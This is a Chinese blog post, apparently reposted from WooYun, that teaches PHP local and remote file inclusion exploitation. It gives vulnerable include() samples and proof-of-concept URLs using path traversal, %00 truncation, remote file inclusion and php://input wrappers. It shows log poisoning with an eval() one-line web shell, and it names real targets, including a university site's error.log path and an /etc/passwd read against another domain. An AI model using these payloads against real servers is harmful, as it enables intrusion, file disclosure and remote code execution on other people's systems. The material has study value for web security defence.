zoukankan      html  css  js  c++  java
  • php包含那点事情[WOOYUN]

    有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络. 


    关于PHPLFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过 

    大家都懒得测试,我就来整理下

    1.
    普通本地包含; 

    <?php 
    $query=$_GET['p']; 

    include($query); 
    ?>



    poc:
    http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

    ../hanguo/test.php
    为包含的路径

     

    只要目标服务器支持上传,不管是jpgtxtgif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。 

    2.
    截断本地包含 
    require_once($a.'.php'); 


    include($a.".php"); 

    等等类似此包含的函数..



    WINDOWS下还有特别用处

    .
    或者./或者或者/截断 (WINDOWS都可以使用.) 

    [link href="WooYun:
    快乐购某分站文件包含漏洞"]波波虎[/link] 


    截断的原理 


    [link href="WooYun:
    济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link] (Linux.//可以.) 

    %00
    截断包含,gpc=offphp版本限制 

    poc:
    http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00


    3.
    远程包含 

    allow_url_include=On就是远程文件包含,off那就只能本地包含

    测试case: 
    <?php 
    $query=$_GET['p']; 

    include($query.".php"); 
    ?>



    连接:
    http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

    爆错了

    Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in 

    /var/www/htdocs/explame.php on line 3



    include($query.".php");代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php

    这里我们不需要截断啦,来个360计之----将计就计

    www.axxer.com创建个yeah.php文件

    然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加 

    .php;多么爱。。。。 


    远程包含小连接 

    我们还可以用php自带协议来利用

    包含data:// 或者php://input 伪协议

    这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。 

    http://www.schnelltest24.de/index.php?page=/etc/passwd//这个没有截断,我们尝试下用协议看看

     

    利用协议然后POST发送利用代码,哈哈;多么有爱~~~~. 

    4.
    日记包含高级利用 

    [link href="WooYun:
    济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link] 

    此连接已经透露出技巧了呢,连接思路简单说下

    (1)
    访问带有一句话的错误连接(
    http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中


    (2)
    找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (
    http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........) 


    一先限制以及突破
    类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php 
    这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.


    可以使用:
    伪造没有Connection HTTP标头的请求包 

    一点连接:
    内容1 

    内容2 


    5.
    其他高级利 

    (1)
    包含
    /proc/self/environ环境变量
    这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样

     

    利用(文章中第四点有详细介绍了.) 

    (2) phpinfo
    临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了

    (3)_SESSION
    爆破包含.   //看情况而定,有的需要%00等特殊字符截断.上面介绍过了

    (2) (3)
    点介绍 

    phpinfo
    爆破包含pdf

  • 相关阅读:
    查看.Net Framework版本的方法
    JS手机号码自动换位
    VS2008正版序列号
    ASP.NET对XML的操作
    JS宽高度
    下载某个网站的内容
    C#中如何将控件中表格数据导出到exeal文档中
    像素 厘米 英寸 换算
    编程经验点滴避免使用汉语拼音做变量名
    编程经验点滴避免在数据库访问函数中使用 try catch
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154550.html
Copyright © 2011-2022 走看看